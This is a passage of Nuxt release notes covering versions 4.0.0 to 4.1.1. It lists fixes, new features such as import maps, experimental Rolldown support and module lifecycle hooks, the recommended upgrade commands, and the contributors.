- Dedupe lockfile (d054c90d9)
- Suppress htmlnano type error (ff2e77809)
- nuxt: Unpin tinyglobby (b9ec6507b)
✅ Tests
- Update bundle size test (4d9feb00d)
❤️ Contributors
- Julien Huang (@huang-julien)
- Daniel Roe (@danielroe)
- Adrien Foulon (@Tofandel)
- Matej Černý (@cernymatej)
- Антон Стасюк (@11Alone11)
- wuiyang (@wuiyang)
- Revadike (@Revadike)
4.1.1
v4.1.1 is a regularly scheduled patch release
✅ Upgrading
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.
👉 Changelog
🩹 Fixes
- nuxt: Correct relative path of auto imported components (#33122)
- nuxt: Prefer accessing
globalThisoverwindow(#33125)- nuxt: Migrate to AST-aware tree-shaking + route injection (#33128)
- nuxt: Ignore #components import mapping inside packages that use it internally (#33049)
- vite: Remove explicit vite-node configuration of
deps.inline(#33133)- nuxt: Include trace in dev-time
useRouteusage warning (#33039)- kit: Improve DX by displaying module name when possible (#33137)
- nuxt: Print route middleware path in warning (#33136)
- nuxt: Include core auto-imports from
imports:sourcesin override warning (#33050)- nuxt: Render relative importmap entry path if required (#33146)
📖 Documentation
- Add
--to bun create command (5e661f0ca)- Add
app/prefix in lots of cases (#33117)- Add JSDoc for
navigateTo(#21442)🏡 Chore
- Correct
rou3github url (#33130)- Include
.tsextension (db9d840e1)- Build before releasing (25f9282a4)
🤖 CI
- Remove default discord reactions from thread (more noise than it's worth) (183913fe2)
- Rewrite release workflow in ts + support multiple tags (4469ead82)
- Pass correct flag (711037cda)
- Pass tag via env variable (fb83cd5ba)
- Drop
4xtags from releases (1cd8a6857)❤️ Contributors
- Daniel Roe (@danielroe)
- Matej Černý (@cernymatej)
- Bobbie Goede (@BobbieGoede)
- Sébastien Chopin (@atinux)
- Octavio Araiza (@8ctavio)
- Michael Brevard (@GalacticHypernova)
- abeer0 (@iiio2)
- 山吹色御守 (@KazariEX)
4.1.0
👀 Highlights
🔥 Build and Performance Improvements
🍫 Enhanced Chunk Stability
Build stability has been significantly improved with import maps (#33075). This prevents cascading hash changes that could invalidate large portions of your build when small changes are made:
<!-- Automatically injected import map --> <script type="importmap">{"imports":{"#entry":"/_nuxt/DC5HVSK5.js"}}</script>By default, JS chunks emitted in a Vite build are hashed, which means they can be cached immutably. However, this can cause a significant issue: a change to a single component can cause every hash to be invalidated, massively increasing the chance of 404s.
In short:
- a component is changed slightly - the hash of its JS chunk changes
- the page which uses the component has to be updated to reference the new file name
- the entry now has its hash changed because it dynamically imports the page
- every other file which imports the entry has its hash changed because the entry file name is changed
Obviously this wasn't optimal. With this new feature, the hash of (otherwise) unchanged files which import the entry won't be affected.
This feature is automatically enabled and helps maintain better cache efficiency in production. It does require native import map support, but Nuxt will automatically disable it if you have configured
vite.build.targetto include a browser that doesn't support import maps.And of course you can disable it if needed:
export default defineNuxtConfig({ experimental: { entryImportMap: false } })🦀 Experimental Rolldown Support
Nuxt now includes experimental support for
rolldown-vite(#31812), bringing Rust-powered bundling for potentially faster builds.To try Rolldown in your Nuxt project, you need to override Vite with the rolldown-powered version since Vite is a dependency of Nuxt. Add the following to your
package.json:npm:
{ "overrides": { "vite": "npm:rolldown-vite@latest" } }pnpm:
{ "pnpm": { "overrides": { "vite": "npm:rolldown-vite@latest" } } }yarn:
{ "resolutions": { "vite": "npm:rolldown-vite@latest" } }bun:
{ "overrides": { "vite": "npm:rolldown-vite@latest" } }After adding the override, reinstall your dependencies. Nuxt will automatically detect when Rolldown is available and adjust its build configuration accordingly.
For more details on Rolldown integration, see the Vite Rolldown guide.
Note
This is experimental and may have some limitations, but offers a glimpse into the future of high-performance bundling in Nuxt.
🧪 Improved Lazy Hydration
Lazy hydration macros now work without auto-imports (#33037), making them more reliable when component auto-discovery is disabled:
<script setup> // Works even with components: false const LazyComponent = defineLazyHydrationComponent( 'visible', () => import('./MyComponent.vue') ) </script>This ensures that components that are not "discovered" through Nuxt (e.g., because
componentsis set tofalsein the config) can still be used in lazy hydration macros.📄 Enhanced Page Rules
If you have enabled experimental extraction of route rules, these are now exposed on a dedicated
rulesproperty onNuxtPageobjects (#32897), making them more accessible to modules and improving the overall architecture:// In your module nuxt.hook('pages:extend', pages => { pages.push({ path: '/api-docs', rules: { prerender: true, cors: true, headers: { 'Cache-Control': 's-maxage=31536000' } } }) })The
defineRouteRulesfunction continues to work exactly as before, but now provides better integration possibilities for modules.🚀 Module Development Enhancements
Module Dependencies and Integration
Modules can now specify dependencies and modify options for other modules (#33063). This enables better module integration and ensures proper setup order:
export default defineNuxtModule({ meta: { name: 'my-module', }, moduleDependencies: { 'some-module': { // You can specify a version constraint for the module version: '>=2', // By default moduleDependencies will be added to the list of modules // to be installed by Nuxt unless `optional` is set. optional: true, // Any configuration that should override `nuxt.options`. overrides: {}, // Any configuration that should be set. It will override module defaults but // will not override any configuration set in `nuxt.options`. defaults: {} } }, setup (options, nuxt) { // Your module setup logic } })This replaces the deprecated
installModulefunction and provides a more robust way to handle module dependencies with version constraints and configuration merging.🪝 Module Lifecycle Hooks
Module authors now have access to two new lifecycle hooks:
onInstallandonUpgrade(#32397). These hooks allow modules to perform additional setup steps when first installed or when upgraded to a new version:export default defineNuxtModule({ meta: { name: 'my-module', version: '1.0.0', }, onInstall(nuxt) { // This will be run when the module is first installed console.log('Setting up my-module for the first time!') }, onUpgrade(inlineOptions, nuxt, previousVersion) { // This will be run when the module is upgraded console.log(`Upgrading my-module from v${previousVersion}`) } })The hooks are only triggered when both
nameandversionare provided in the module metadata. Nuxt uses the.nuxtrcfile internally to track module versions and trigger the appropriate hooks. (If you haven't come across it before, the.nuxtrcfile should be committed to version control.)Tip
This means module authors can begin implementing their own 'setup wizards' to provide a better experience when some setup is required after installing a module.
🙈 Enhanced File Resolution
The new
ignoreoption forresolveFiles(#32858) allows module authors to exclude specific files based on glob patterns:// Resolve all .vue files except test files const files = await resolveFiles(srcDir, '**/*.vue', { ignore: ['**/*.test.vue', '**/__tests__/**'] })📂 Layer Directories Utility
A new
getLayerDirectoriesutility (#33098) provides a clean interface for accessing layer directories without directly accessing private APIs:import { getLayerDirectories } from '@nuxt/kit' const layerDirs = await getLayerDirectories(nuxt) // Access key directories: // layerDirs.app - /app/ by default // layerDirs.appPages - /app/pages by default // layerDirs.server - /server by default // layerDirs.public - /public by default✨ Developer Experience Improvements
🎱 Simplified Kit Utilities
Several kit utilities have been improved for better developer experience:
addServerImportsnow supports single imports (#32289):// Before: required array addServerImports([{ from: 'my-package', name: 'myUtility' }]) // Now: can pass directly addServerImports({ from: 'my-package', name: 'myUtility' })🔥 Performance Optimizations
This release includes several internal performance optimizations:
- Improved route rules cache management (#32877)
- Optimized app manifest watching (#32880)
- Better TypeScript processing for page metadata (#32920)
🐛 Notable Fixes
- Improved
useFetchhook typing (#32891)- Better handling of TypeScript expressions in page metadata (#32902, #32914)
- Enhanced route matching and synchronization (#32899)
- Reduced verbosity of Vue server warnings in development (#33018)
- Better handling of relative time calculations in
<NuxtTime>(#32893)✅ Upgrading
As usual, our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will refresh your lockfile and pull in all the latest dependencies that Nuxt relies on, especially from the unjs ecosystem.
👉 Changelog
🚀 Enhancements
- kit: Add
ignoreoption toresolveFiles(#32858)- kit: Add
onInstallandonUpgrademodule hooks (#32397)- nuxt,vite: Add experimental support for
rolldown-vite(#31812)- nuxt: Extract
defineRouteRulesto pagerulesproperty (#32897)- nuxt,vite: Use importmap to increase chunk stability (#33075)
- nuxt: Lazy hydration macros without auto-imports (#33037)
- kit,nuxt,schema: Allow modules to specify dependencies (#33063)
- kit,nuxt: Add
getLayerDirectoriesutil and refactor to use it (#33098)🔥 Performance
- nuxt: Clear inline route rules cache when pages change (#32877)
- nuxt: Stop watching app manifest once a change has been detected (#32880)
🩹 Fixes
- nuxt: Handle
satisfiesin page augmentation (#32902)- nuxt: Type response in
useFetchhooks (#32891)- nuxt: Add TS parenthesis and as expression for page meta extraction (#32914)
- nuxt: Use correct unit thresholds for relative time (#32893)
- nuxt: Handle uncached current build manifests (#32913)
- kit: Resolve directories in
resolvePathand normalize file extensions (#32857)- schema,vite: Bump
requestTimeout+ allow configuration (#32874)- nuxt: Deep merge extracted route meta (#32887)
- nuxt: Do not expose app components until fully resolved (#32993)
- kit: Only exclude
node_modules/if no customsrcDir(#32987)- nuxt: Transform ts before page meta extraction (#32920)
- nuxt: Compare final matched routes when syncing
routeobject (#32899)- nuxt: Make vue server warnings much less verbose in dev mode (#33018)
- schema: Allow disabling cssnano/autoprefixer postcss plugins (#33016)
- kit: Ensure local layers are prioritised alphabetically (#33030)
- kit,nuxt: Expose global types to vue compiler (#33026)
- deps: Bump devalue (#33072)
- nuxt: Support config type inference for
defineNuxtModule().with()(#33081)- nuxt: Search for colliding names in route children (b58c139d2)
- nuxt: Delete
nuxtApp._runningTransitionon resolve (#33025)- nuxt: Add validation for nuxt island reviver key (#33069)
💅 Refactors
- nuxt: Simplify page segment parsing (#32901)
- nuxt: Remove unnecessary
async/awaitinafterEach(#32999)- vite: Simplify inline chunk iteration (6f4da1b8c)
- kit,nuxt,ui-templates,vite: Address deprecations + improve regexp perf (#33093)
📖 Documentation
- Switch example to use vitest projects (#32863)
- Update testing
setupTimeoutand addteardownTimeout(#32868)- Update
webRootto use new app directory (df7177bff)- Add middleware to layers guide (6fc25ff79)
- Use
app/directory in layer guide (eee55ea41)- Add documentation for
--nightlycommand (#32907)- Update package information in roadmap section (#32881)
- Add more info about nuxt spa loader element attributes (#32871)
- Update
features.inlineStylesdefault value (6ff3fbebb)- Correct filename in example (#33000)
- Add more information about using
useRouteand accessing route in middleware (#33004)- Avoid variable shadowing in locale example (#33031)
- Add documentation for module lifecycle hooks (#33115)
🏡 Chore
- config: Migrate renovate config (#32861)
- Remove stray test file (ca84285cc)
- Ignore webpagetest.org when scanning links (6c974f0be)
- Add
type: 'module'in playground (#33099)✅ Tests
- Add failing test for link component duplication (#32792)
- Simplify module hook tests (#32950)
- Refactor stubbing of
import.meta.dev(#33023)- Use
findWorkspaceDirrather than relative paths to repo root (a6dec5bd9)- Improve router test for global transitions (5d783662c)
- Use
expect.poll(53fb61d5d)- Use
expect.pollinstead ofexpectWithPolling(357492ca7)- Use
vi.waitUntilinstead of custom retry logic (611e66a47)🤖 CI
- Remove double set of tests for docs prs (6bc9dccf4)
- Add workflow for discord team discussion threads (bc656a24d)
- Fix some syntax issues with discord + github integrations (f5f01b8c1)
- Use token for adding issue to project (66afbe0a2)
- Use discord bot to create thread automatically (618a3cd40)
- Only use discord bot (bfd30d8ce)
- Update format of discord message (eb79a2f07)
- Try bolding entire line (c66124d7b)
- Oops (38644b933)
- Add delay after adding each reaction (ecb49019f)
- Use last lts node version for testing (e06e37d02)
- Try npm trusted publisher (85f1e05eb)
- Use npm trusted publisher for main releases (abf5d9e9f)
- Change wording (#32979)
- Add github ai moderator (#33077)
❤️ Contributors
- Daniel Roe (@danielroe)
- abeer0 (@iiio2)
- Julien Huang (@huang-julien)
- kyumoon (@kyumoon)
- Alexander Lichter (@TheAlexLichter)
- Bobbie Goede (@BobbieGoede)
- Rich Harris (@Rich-Harris)
- mustafa60x (@mustafa60x)
- Matej Černý (@cernymatej)
- Alex Liu (@Mini-ghost)
- Amitav Chris Mostafa (@semibroiled)
- Romain Hamel (@romhml)
- Jacky Lam (@jackylamhk)
- Mukund Shah (@mukundshah)
- Luke Nelson (@luc122c)
- letianpailove (@letianpailove)
- Erwan Jugand (@erwanjugand)
- Alexander (@TheColorman)
- Ryota Watanabe (@wattanx)
- Yizack Rangel (@Yizack)
4.0.3
4.0.3 is a regularly scheduled patch release.
👉 Changelog
🔥 Performance
- kit: Get absolute path from
tinyglobbyinresolveFiles(#32846)🩹 Fixes
- nuxt: Do not throw undefined
errorvariable (#32807)- vite: Include tsconfig references during
typeCheck(#32835)- nuxt: Add sourcemap path transformation for client builds (#32313)
- nuxt: Add warning for lazy-hydration missing prefix (#32832)
- nuxt: Trigger call once navigation even when no suspense (#32827)
- webpack: Handle
nullresult from webpack call (84816d8a1)- kit,nuxt: Use
reverseResolveAliasfor better errors (#32853)📖 Documentation
- Fix publicDir alias (#32841)
- Mention
bun.lockfor lockfile (#32820)- Add a section about augmenting types with TS project references (#32843)
- Improve explanation of global middleware (#32855)
🏡 Chore
- Update reproduction help text links (#32803)
- Update pnpm ignored build scripts (#32849)
- Improve internal types (052b98a35)
✅ Tests
- Move tests for
defineNuxtComponentout of e2e test (#32848)🤖 CI
- Move nightly releases into different concurrency group (664041be7)
❤️ Contributors
- RDistinct (@RDistinct)
- Daniel Roe (@danielroe)
- Oskar Lebuda (@OskarLebuda)
- Peter Budai (@peterbud)
- Matej Černý (@cernymatej)
- Damian Głowala (@DamianGlowala)
- Bobbie Goede (@BobbieGoede)
- Robin (@OrbisK)
- abeer0 (@iiio2)
- Julien Huang (@huang-julien)
4.0.2
4.0.2 is the next patch release.
Timetable: 28 July.
👉 Changelog
🩹 Fixes
- nuxt: Provide typed slots for
<ClientOnly>and<DevOnly>(#32707)- kit,nuxt,schema: Add trailing slash to some dir aliases (#32755)
- nuxt: Constrain global
defineAppConfigtype (#32760)- kit: Include module types in
appcontext (#32758)- nuxt: Include source base url for remote islands (#32772)
- vite: Use vite node server to transform requests (#32791)
- kit: Use
mllyto parse module paths (#32386)- nuxt: Execute all plugins after error rendering error.vue (#32744)
📖 Documentation
- Update Nuxt installation command to use
npm create nuxt@latest(#32726)- Add AI-assisted contribution guidelines (#32725)
- Hydration best practice (#32746)
- Add example for module
.with()(#32757)- Replace dead Vue Router docs links (#32779)
- Update nightly version references (#32776)
🏡 Chore
- Update reproduction links for bug-report template (#32722)
- Update
unbuildand use absolute path in dev stubs (#32759)✅ Tests
- Ignore vue
module.exportsexport (c4317e057)🤖 CI
- Release
pkg.pr.newformain/3.xbranches as well (b0f289550)- Apply
3xtag to latest v3 release (5f6c27509)❤️ Contributors
- Daniel Roe (@danielroe)
- Bobbie Goede (@BobbieGoede)
- Damian Głowala (@DamianGlowala)
- Bobby (@xanzhu)
- Dog (@dgxo)
- Julien Huang (@huang-julien)
- Stephen Jason Wang (@stephenjason89)
- Mateleo (@Mateleo)
- Robin (@OrbisK)
- Alex Liu (@Mini-ghost)
4.0.1
v4.0.1 is the first regularly scheduled patch release of v4
It will be followed up later this week with v3.18, which will backport a number of the features/fixes from Nuxt v4 to v3.
✅ Upgrading
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.
👉 Changelog
🩹 Fixes
- nuxt: Add
nuxt.schemafiles to node tsconfig context (#32644)- nuxt,vite: Unpin
nitropack(ed5ad64ad)- nuxt: Expose shared aliases within
shared/dir (#32676)💅 Refactors
- nuxt: Pass file language directly to parser options (#32665)
📖 Documentation
- Remove rc tag in guide (232b14e2f)
- Remove
-t v4tag from getting started (343f59235)- Added new Shared folder to the example of v4 folder structure (#32630)
- Update nuxt.new links to v4 (#32639)
- Improve grammar (#32640)
- Typos (#32567)
- Fix abbreviation (#32613)
- Reference
noUncheckedIndexedAccessrule change in v4 guide (#32643)- Add missing import in alias config example (#32648)
- Correct alias for local fonts in styling guide (#32680)
- Add best practices section (#31609)
- Fix links to Nitro docs (#32691)
📦 Build
- vite: Specify
nitropacktypes as external (39be1b3a9)🏡 Chore
- Handle missing commit details (5018ed23a)
🤖 CI
- Trigger website redeploy on main branch (#32695)
❤️ Contributors
- Julien Huang (@huang-julien)
- Alois Sečkár (@AloisSeckar)
- Hashim Kalam (@hashimkalam)
- Daniel Roe (@danielroe)
- Matej Černý (@cernymatej)
- Peter Buglavecz (@buglavecz)
- Haythem Frikha (@Flamenate)
- abeer0 (@iiio2)
- Damian Głowala (@DamianGlowala)
- Robin (@OrbisK)
- Thomas (@ThomasWT)
4.0.0
Nuxt 4.0 is here! 🎉
After a year of real-world testing, we're excited to announce the official release of Nuxt 4. This is a stability-focused major release, introducing a few thoughtful breaking changes in order to improve development experience.
If you've been following along, you'll recognize many of these features and changes — and if you're new to them, we hope you'll welcome them.
🔥 What's new?
Nuxt 4 is all about making your development experience smoother:
- Cleaner project organization with the new
app/directory structure- Smarter data fetching - we've taken the opportunity to address some inconsistencies and improve performance with the data layer
- Better TypeScript support with project-based separation between the different contexts in your project - app code, server code,
shared/folder, and configuration- Faster CLI and development with adoption of internal sockets and a faster CLI
Why these features in particular? Mostly because these kind of improvements have required making changes that are technically breaking.
In general, we aim for a hype-free approach to releases. Rather than save up features for a big release, we've been shipping improvements in Nuxt 3 minor releases.
We've also spent a lot of time figuring out how to implement these changes in a backwards-compatible way, and I hope that means that most Nuxt 3 projects can upgrade with a minimum of effort.
I'd advise reading through the upgrade guide before you start, to understand what areas of your app might be affected.
🗂️ New project structure
The biggest visible change is how projects are organized. Your application code now lives in an
app/directory by default:my-nuxt-app/ ├─ app/ │ ├─ components/ │ ├─ pages/ │ ├─ layouts/ │ └─ app.vue ├─ public/ ├─ shared/ ├─ server/ └─ nuxt.config.tsThis helps keep your code separate from
node_modules/and.git/, which makes file watchers faster (especially on Windows and Linux). It also gives your IDE better context about whether you're working with client or server code.Tip
Don't want to migrate? That's totally fine! Nuxt will detect your existing structure and keep working exactly as before.
🎨 Updated UI templates
Nuxt’s starter templates have an all new look, with improved accessibility, default titles, and template polish (#27843).
🔄 Smarter data fetching
We've made
useAsyncDataanduseFetchwork better. Multiple components using the same key now share their data automatically. There's also automatic cleanup when components unmount, and you can use reactive keys to refetch data when needed. Plus, we've given you more control over when cached data gets used.Some of these features have already been made available in Nuxt v3 minor releases, because we've been rolling this out gradually. Nuxt v4 brings different defaults, and we expect to continue to work on this data layer in the days to come.
🔧 Better TypeScript experience
Nuxt now creates separate TypeScript projects for your app code, server code,
shared/folder, and builder code. This should mean better autocompletion, more accurate type inference and fewer confusing errors when you're working in different contexts.Tip
With Nuxt 4, you will only need one
tsconfig.jsonfile in your project root!This is probably the single issue that is most likely to cause surprises when upgrading, but it should also make your TypeScript experience much smoother in the long run. Please report any issues you encounter. 🙏
⚡ Faster CLI and development
In parallel with the release of v4, we've been working on speeding up
@nuxt/cli.
- Faster cold starts - Development server startup is noticeably faster
- Node.js compile cache - Automatic reuse of the v8 compile cache
- Native file watching - Uses
fs.watchAPIs for fewer system resources- Socket-based communication - The CLI and Vite dev server now communicate via internal sockets instead of network ports, reducing overhead — particularly on Windows
These improvements combined can make a really noticeable difference in your day-to-day development experience, and we have more planned.
🚀 How to upgrade
Although any major release brings breaking changes, one of our main aims for this release is to ensure that the upgrade path is as smooth as possible. Most of the breaking changes have been testable with a compatibility flag for over a year.
Most projects should upgrade smoothly, but there are a few things to be aware of:
- Nuxt 2 compatibility has been removed from
@nuxt/kit. (This will particularly affect module authors.)- Some legacy utilities and deprecated features have been cleaned up.
- The new TypeScript setup might surface some type issues that were hidden before.
- A few modules might need further updates for full Nuxt 4 compatibility.
Don't worry though — for most breaking changes, there are configuration options to revert to the old behavior while you adjust.
1. Update Nuxt
Our recommendation for upgrading is to run:
npx nuxt upgrade --dedupeThis will deduplicate your lockfile as well, and help ensure that you pull in updates from other dependencies that Nuxt relies on, particularly in the unjs ecosystem.
2. Optional: use migration tools
We’ve also partnered with Codemod to automate many, though not all, migration steps:
npx codemod@latest nuxt/4/migration-recipe3. Test and adjust
Run your tests, check that everything builds correctly, and fix any issues that come up. The upgrade guide has detailed migration steps for specific scenarios.
We'd recommend reading through it in full before starting your upgrade, to understand what areas of your app might be affected.
🗺️ What's next?
We're planning quick patch releases to address any issues that come up. Nuxt 3 will continue to receive maintenance updates (both bug fixes and backports of features from Nuxt 4) until the end of January 2026, so there's no rush if you need time to migrate.
Looking ahead, we plan to release Nuxt 5 on the sooner side, which will bring Nitro v3 and h3 v2 for even better performance, as well as adopting the Vite Environment API for an improved (and faster!) development experience. And there's a lot more in the works too!
And, quite apart from major releases, we have a lot of exciting features planned to make their way into Nuxt 3.x and 4.x release branches, including support for SSR streaming (#4753), a first-party accessibility module (#23255), built-in fetch caching strategies (#26017), more strongly typed fetch calls (landing in Nitro v3), dynamic route discovery (#32196), multi-app support (#21635) and more.
❤️ Thank you
This release is credit to so many people, particularly those who have been testing v4 compatibility mode over the past year. I'm really grateful — thank you for all your help!
Happy coding with Nuxt 4! 🚀
👉 Changelog
🚀 Enhancements
- ui-templates: Update template branding for v4 (#27843)
- deps: Upgrade to latest versions of c12, jiti and unbuild (#27995)
- kit: Reimplement cjs utils using
mlly(#28012)- nuxt: Generate basic jsdoc for module config entry (#27689)
- schema: Split dev/prod build directories (#28594)
- nuxt: Cache vue app build outputs (#28726)
- deps: Update dependency vite to v6 (main) (#30042)
- nuxt: Add integration with chrome devtools workspaces (#32084)
- kit: Support single import in
addServerImports(#32289)- nuxt: Add
onWatcherCleanupto imports presets (#32396)- kit,nuxt,schema: Separate ts projects for node/app/nitro (#30665)
- nuxt: Support lazy hydration macros (#31192)
- nuxt: Export
<NuxtTime>prop types (#32547)- nuxt: Add route announcer to default app.vue (#32621)
- nuxt: Expose page routes to nitro for o11y (#32617)
🔥 Performance
- nuxt:
⚠️ Don't callrender:htmlfor server islands (#27889)- vite: Don't write stub manifest for legacy bundler (#27957)
- kit: Update env expansion regex to match nitro (#30766)
- vite: Communicate with vite-node via internal socket (#32417)
🩹 Fixes
- schema,vite:
⚠️ Do not allow configuring vite dev bundler (#27707)- schema:
⚠️ Default tocompatibilityVersion: 4(#27710)- nuxt:
⚠️ Emit absolute paths inbuilder:watchhook (#27709)- nuxt:
⚠️ Improve defaultasyncDatavalue behaviour (#27718)- nuxt:
⚠️ Remove old experimental options (#27749)- kit:
⚠️ Support loading nuxt 4 and drop support for <=2 (#27837)- nuxt:
⚠️ Remove__NUXT__after hydration (#27745)- ui-templates: Add default title back (3415241a6)
- kit:
⚠️ Drop support for building nuxt 2 projects (1beddba6a)- nuxt:
⚠️ Bump internal majorVersion to4(7aae4033b)- kit: Mark
resolvePathutils as sync (655e1473d)- kit: Revert change to
tryResolveModule(2d136e04c)- kit: Add back
requireModuleandtryRequireModule(#28013)- nuxt: Hide unhandled error messages in prod (#28156)
- nuxt: Add
useScriptCrispscripts stub (0c3cc4cf3)- nuxt:
⚠️ Remove unusedglobalNameproperty (#28391)- nuxt: Use static import for
updateAppConfigin HMR (#28349)- vite: Write dev manifest when
ssr: false(#28488)- kit,nuxt,schema:
⚠️ Remove other support for nuxt2/bridge (#28936)- webpack: Only insert dynamic require plugin when building (b619b35e9)
- nuxt: Guard
windowaccess (d874726ff)- nuxt: Remove unneeded subpath import (18a6ef1ca)
- webpack: Handle new webpack chunk format (d293c06d2)
- kit:
⚠️ Do not check compatibility for nuxt version < 2.13 (f94cda4c8)- ui-templates: Fix examples link and add bluesky (#30866)
- vite: Use
resolveIdfromvite-nodeto resolve deps (#30922)- nuxt: Import
isEqualfrom mainohashexport (3ec1a1e5e)- vite: Don't set
output.preserveModules(ce49734aa)- nuxt: Ignore
#app-manifestimport in dev mode (#31539)- nuxt: Ensure layer array-type config is merged in order (#31507)
- schema: Turn off
purgeCachedDatauntil v4 (7aa3a01ae)- schema: Re-enable
purgeCachedDataby default (06745604c)- webpack: Expand dynamic require regexp to match new pattern (62e700daa)
- nuxt: Add back missing reset of
.execute(d79e14612)- nuxt,schema:
⚠️ Remove support forcompatibilityVersion: 3(#32255)- kit,nuxt,schema,vite:
⚠️ Remove support for some deprecated options (#32257)- nuxt:
⚠️ Don't rerun asyncdata w/ existing data inuseAsyncData(#32170)- nuxt: Scan nitro handlers before writing types (a3698c08b)
- nuxt: Force asyncData
errorValue/valueto be undefined (7e4eac655)- nuxt:
⚠️ Remove public and assets aliases (#32119)- webpack: Update dynamic require pattern (#32278)
- schema:
⚠️ Remove top level generate option (#32355)- ui-templates: Add aria tag on Nuxt logo (#32429)
- nuxt: Augment runtime config in server context (#32482)
- kit: Do not skip layer with defined
srcDir(#32487)- deps: Upgrade to rc version of
@nuxt/cli(#32488)- kit: Ensure legacy
tsConfigdoesn't exclude too many types (#32528)- kit: Ensure types of module entrypoints are in node project (#32551)
- kit: Add layer
app/andserver/folders into tsconfigs (#32592)- schema: Disable changing compat version (#32600)
- nuxt: Allow modules to add to
typescript.hoist(#32601)- nuxt: Include shared declarations in
tsconfig.server.json(#32594)- nuxt: Retain old data when computed key changes (#32616)
- nuxt:
⚠️ BumpcompatibilityDateto2025-07-15(e35e1ccb9)- nuxt: Only use
scrollBehaviorTypefor hash scrolling (#32622)💅 Refactors
- kit,nuxt:
⚠️ Drop nuxt 2 + ejs template compile support (#27706)- nuxt:
⚠️ Move#app/components/layout->#app/components/nuxt-layout(209e81b60)- kit,nuxt,vite,webpack:
⚠️ Remove legacy require utils (#28008)- nuxt: Simplify check of
dedupeoption (#28151)- nuxt: Use direct import of
installNuxtModule(501ccc375)- kit: Remove internal function (#32189)
- schema:
⚠️ Remove config.schema.json export + defaults (#32254)- nuxt: Migrate to
oxc-walker(#32250)- nuxt,schema: Use oxc for
onPrehydratetransform (#32045)📖 Documentation
- Indicate what
useAsyncDatamust return (#28259)- Update
deepdefault foruseAsyncData&useFetch(#28564)- Fix link to issue (4d13f1027)
- Improve wording for
deepoption (bec85dfcd)- Update v4 docs with new folder structure (#32348)
- Update
.nuxtignoreexamples for v4 structure (#32489)- Add reference to
useNuxtDatain data fetching composable pages (#32589)- Temporarily use v4 template for v4 docs (850a879d3)
- Document the --modules flag in the init command (#32599)
📦 Build
- deps: Bump esbuild from 0.23.1 to 0.25.0 (#31247)
🏡 Chore
- Manage update to
vite-plugin-checkerseparately (02d46dd3d)- Update docs typecheck command (#28433)
- Improve accuracy of 4.x changelog (#28706)
- Bump package versions internally to v4 (16fab7778)
- kit: Fix regressed version v4 (a1c052057)
- Dedupe lockfile (f14ef6bc9)
- Update once more (4d22f4d5a)
- Specify workspace
engines.nodecompatibility (a26322f5f)- Remove special treatment for typescript (08766a0cd)
- Reenable quarantine for webpack/memfs (for 3.x benefit) (9cb94e55e)
- Remove extra dep (f0ec34298)
- Add back
nuxi(9aa4c7c3b)- Remove stray
nuxiversion again (#30547)- Fix lockfile (7d345c714)
- Remove second version of vitest (#30868)
- Ignore
oxc-parserupdates temporarily (1cd0fb5cb)- Ignore
nitro/templatesdirectory (e531477f8)- Fix ui-templates build (c8a1b9e80)
- Mkdir for ui-templates (853408a1e)
- Add webpack resolution (088bcd459)
- Migrate playground + test fixtures to new directory format (#32357)
- schema: Remove duplicated documentation (349f75447)
✅ Tests
- Remove unused experimental options (6d971ddc9)
- Add additional
attwtest for built packages (#30206)- Add minimal pages fixture (#30457)
- Update bundle size assertion (f458153d9)
- Update bundle size assertion (4cce6bf8d)
- Benchmark minimal fixture instead (#31174)
- Normalise scoped css + pass logger to
configResolved(8d3bd4f9f)- More precise asyncData tests (023fb13eb)
- Extend timeout when waiting for hydration (f34c6c240)
- Also assert status (4f6bdf755)
🤖 CI
- Bump node v22 (#30251)
- Run workflows on merge groups (ff37ad9df)
- Do not invoke semantic-pr test on merge groups (fadd618d1)
⚠️ Breaking Changes
- nuxt:
⚠️ Don't callrender:htmlfor server islands (#27889)- schema,vite:
⚠️ Do not allow configuring vite dev bundler (#27707)- schema:
⚠️ Default tocompatibilityVersion: 4(#27710)- nuxt:
⚠️ Emit absolute paths inbuilder:watchhook (#27709)- nuxt:
⚠️ Improve defaultasyncDatavalue behaviour (#27718)- nuxt:
⚠️ Remove old experimental options (#27749)- kit:
⚠️ Support loading nuxt 4 and drop support for <=2 (#27837)- nuxt:
⚠️ Remove__NUXT__after hydration (#27745)- kit:
⚠️ Drop support for building nuxt 2 projects (1beddba6a)- nuxt:
⚠️ Bump internal majorVersion to4(7aae4033b)- nuxt:
⚠️ Remove unusedglobalNameproperty (#28391)- kit,nuxt,schema:
⚠️ Remove other support for nuxt2/bridge (#28936)- kit:
⚠️ Do not check compatibility for nuxt version < 2.13 (f94cda4c8)- nuxt,schema:
⚠️ Remove support forcompatibilityVersion: 3(#32255)- kit,nuxt,schema,vite:
⚠️ Remove support for some deprecated options (#32257)- nuxt:
⚠️ Don't rerun asyncdata w/ existing data inuseAsyncData(#32170)- nuxt:
⚠️ Remove public and assets aliases (#32119)- schema:
⚠️ Remove top level generate option (#32355)- nuxt:
⚠️ BumpcompatibilityDateto2025-07-15(e35e1ccb9)- kit,nuxt:
⚠️ Drop nuxt 2 + ejs template compile support (#27706)- nuxt:
⚠️ Move#app/components/layout->#app/components/nuxt-layout(209e81b60)- kit,nuxt,vite,webpack:
⚠️ Remove legacy require utils (#28008)- schema:
⚠️ Remove config.schema.json export + defaults (#32254)❤️ Contributors
- Daniel Roe (@danielroe)
- Connor Pearson (@cjpearson)
- Stephen Jason Wang (@stephenjason89)
- dwood-csi (@dwood-csi)
- Alex (@hywax)
- Alex Liu (@Mini-ghost)
- Bobbie Goede (@BobbieGoede)
- Marko (@aussieboi)
- Igor Kononenko (@igorexa34314)
- Alexander Lichter (@TheAlexLichter)
- Robin (@OrbisK)
- Matej Černý (@cernymatej)
- Michael Brevard (@GalacticHypernova)
- Andrej Adamcik (@adamcikado)
- dependabot[bot] (@dependabot[bot])
- Sébastien Chopin (@atinux)
- Yauheni Vasiukevich (@EvgenyWas)
- @beer (@iiio2)
- Anthony Fu (@antfu)
- pan93412 (@pan93412)
- Tobias Diez (@tobiasdiez)
- Aleksei Nagovitsyn (@al3xnag)
- xjccc (@xjccc)
- Julien Huang (@huang-julien)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
